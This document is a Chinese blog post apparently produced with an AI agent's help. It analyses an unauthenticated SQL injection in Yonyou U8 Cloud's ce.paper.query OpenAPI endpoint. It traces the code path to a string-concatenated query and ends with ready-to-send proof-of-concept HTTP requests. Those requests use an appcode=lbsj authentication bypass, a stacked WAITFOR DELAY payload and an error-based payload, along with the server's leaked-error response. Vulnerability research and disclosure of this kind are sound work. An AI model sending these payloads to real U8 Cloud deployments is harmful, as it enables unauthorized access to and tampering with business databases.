用友U8Cloud /u8cloud/openapi/ce.paper.query SQL 注入漏洞


前言

本次漏洞分析全程由opencode+gemini-3-pro-high 完成。

我搭建好环境以及mcp后,提出需求,其余均为agent自动完成。

效果还行。

审计报告

1. 漏洞概述

在用友 U8 Cloud 系统的 /u8cloud/openapi/ce.paper.query 接口中发现一处严重的高危 SQL注入漏洞。该漏洞允许未经身份验证的远程攻击者通过构造恶意的 JSON 请求,在数据库中执行任意 SQL 命令。漏洞的根源在于服务端未对用户输入的 pk_group 和 pk_paper 参数进行任何过滤或预编译处理,直接将其拼接至 SQL 查询语句中。

  • 漏洞类型: SQL 注入 (Blind/Stacked Queries)
  • 影响组件: 用友 U8 Cloud (ce.paper.query 接口)
  • 危险等级: 高危 (Critical)
  • 利用条件:
    • 网络可达 /u8cloud/openapi/ 接口
    • 无需有效身份认证 (可通过 appcode=lbsj 绕过或直接调用)

2. 漏洞详细分析路径

2.1 入口点与 URL 路由处理

攻击者发起的 HTTP 请求首先由 Servlet 容器接收,并根据 URL 路径进行分发。

  1. Servlet 映射 (ExtSystemInvokerServlet):

    1. 在 web.xml 或 Servlet 注册中,路径 /u8cloud/openapi/* 被映射到 nc.bs.framework.server.extsys.ExtSystemInvokerServlet。
    2. 该 Servlet 的 doAction 方法会拦截请求。它通过遍历 ExtSystemServerEnum 枚举来匹配 URL 前缀。
    3. 匹配到 OPENAPI 枚举项 (/u8cloud/openapi/) 后,确定服务名称为 u8cloud_openapi。
  2. 服务分发 (APIOpenServletForJSON):

    1. ExtSystemInvokerServlet 使用 NCLocator 查找名为 u8cloud_openapi 的服务组件。
    2. 该服务映射到 u8c.server.APIOpenServletForJSON 类。
    3. APIOpenServletForJSON.doAction 将请求转发给 u8c.server.APIOpenController 处理。
  3. 路径解析与 Action 映射 (APIOpenController):

    1. APIOpenController.forWard() 方法被调用。
    2. 路径转换: 方法内部调用 getPath(request),将 URL 路径 /ce/paper/query 转换为点分字符串 ce.paper.query。
    3. JSON 解析: 控制器读取 HTTP 请求体。由于我们在 URL 中指定了 isEncrypt=N,控制器跳过解密步骤,直接调用 JSONObject.fromObject() 解析 JSON 数据。
    4. 动态调用: 控制器查找实现了 IInvokeWithJSon 接口的服务,并调用其 invoke 方法,传入解析后的路径 ce.paper.query 和 JSON 数据。
    5. 框架根据 ce.paper.query 标识符(对应 Action 的 billMark 或配置)将请求路由到 u8c.bs.ce.action.PaperQueryAction。

2.2 参数提取与对象转换

  1. Action 处理 (PaperQueryAction):

    1. PaperQueryAction 继承自 AbstractBatchSaveAPIPubVOAction<PaperExecuteVO>。
    2. 该基类负责将输入的 JSON 对象转换为 Java Value Object (VO) 数组。
    3. 关键点: JSON 数据必须包含一个以 billMark (此处为 "paperexecute") 命名的键,其值为一个数组。例如:{"paperexecute": [{"pk_group": "...", "pk_paper": "..."}]}。
    4. 框架使用反射将 JSON 数组中的字段(如 pk_group, pk_paper)映射到 PaperExecuteVO 对象的对应属性。此时,恶意的 SQL 注入 payload (如 1'; WAITFOR DELAY '0:0:5'--) 被注入到 VO 对象的 pk_group 属性中。
  2. 业务逻辑调用:

    1. PaperQueryAction.save() 方法被调用,传入包含恶意数据的 PaperExecuteVO[] 数组。
    2. 随后调用业务处理类 PaperBP().queryResult(vos)。

2.3 污点传播与 SQL 构建 (Sink)

  1. 业务处理 (PaperBP):

    1. PaperBP.queryResult 方法从数组中取出第一个 VO 对象:executeVOs[0]。
    2. 它提取出 pk_paper 和 pk_group 属性值。
    3. 调用数据访问对象:new PaperResultDMO().query(pk_paper, pk_group)。
  2. 漏洞触发点 (PaperResultDMO):

    1. 在 u8c.bs.ce.dmo.PaperResultDMO.java 的 query 方法中,存在直接的字符串拼接:

    2. public PaperResultVO query(String pk_paper, String pk_questiongroup) throws BusinessException { // 严重漏洞:直接将参数拼接到 SQL WHERE 子句中 PaperResultVO[] vos = (PaperResultVO[])new SuperVOQuery(PaperResultVO.class) .queryVOByWhere(" pk_paper = '" + pk_paper + "' and pk_group = '" + pk_questiongroup + "' "); // ... 后续还有第二次拼接 ... TaskVO[] tasks = (TaskVO[])new SuperVOQuery(TaskVO.class) .queryVOByWhere("pk_paper = '" + pk_paper + "' and pk_group = '" + pk_questiongroup + "'"); }

    3. 当 pk_questiongroup 包含 1'; WAITFOR DELAY '0:0:5'-- 时,最终执行的 SQL 变为:

      • SELECT ... FROM ... WHERE pk_paper = '1' and pk_group = '1'; WAITFOR DELAY '0:0:5'--'
  3. 数据库(如 SQL Server)支持堆叠查询(Stacked Queries),因此会先执行前面的 SELECT 语句,紧接着执行 WAITFOR DELAY 命令,导致数据库暂停响应 5 秒。

3. 漏洞复现 (PoC)

通过 Fuzz 测试验证,以下 HTTP 请求可稳定触发漏洞。

路径:/u8cloud/openapi/ce/paper/query 或者 /u8cloud/openapi/ce.paper.query 均可

Request:

POST /u8cloud/openapi/ce.paper.query?appcode=lbsj&isEncrypt=N&trantype=paperexecute HTTP/1.1
Host: u8cloud.mrxn.net
Content-Type: application/json
Content-Length: 108

{
    "paperexecute": [
        {
            "pk_group": "1'; WAITFOR DELAY '0:0:5'--",
            "pk_paper": "1"
        }
    ]
}
POST /u8cloud/openapi/ce/paper/query?appcode=lbsj&isEncrypt=N HTTP/1.1
Host: u8cloud.mrxn.net
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 95

{
  "paperexecute": [
    { "pk_group": "1'; WAITFOR DELAY '0:0:5'--", "pk_paper": "1" }
  ]
}

延时 5 秒

报错注入一样

POST /u8cloud/openapi/ce/paper/query?appcode=lbsj&isEncrypt=N HTTP/1.1
Host: u8cloud.mrxn.net
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 95

{
  "paperexecute": [
    { "pk_group": "'-1/user--", "pk_paper": "1" }
  ]
}
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=451D9D503710ADFFEC88E29923BE4AE6.server; Path=/; HttpOnly
Content-Type: application/json;charset=utf-8

{
  "status": "falied",
  "errorcode": "-32000",
  "errormsg": "U8C返回信息:在将 nvarchar 值 \u0027dbo\u0027 转换成数据类型 int 时失败。"
}

手机扫码阅读

天地伟业Easy7 getCurrentUserInquestRooms_ZHGL SQL注入漏洞

飞牛系统(fnOS)app-center-static 目录遍历导致的任意文件读取漏洞+命令执行漏洞

评 论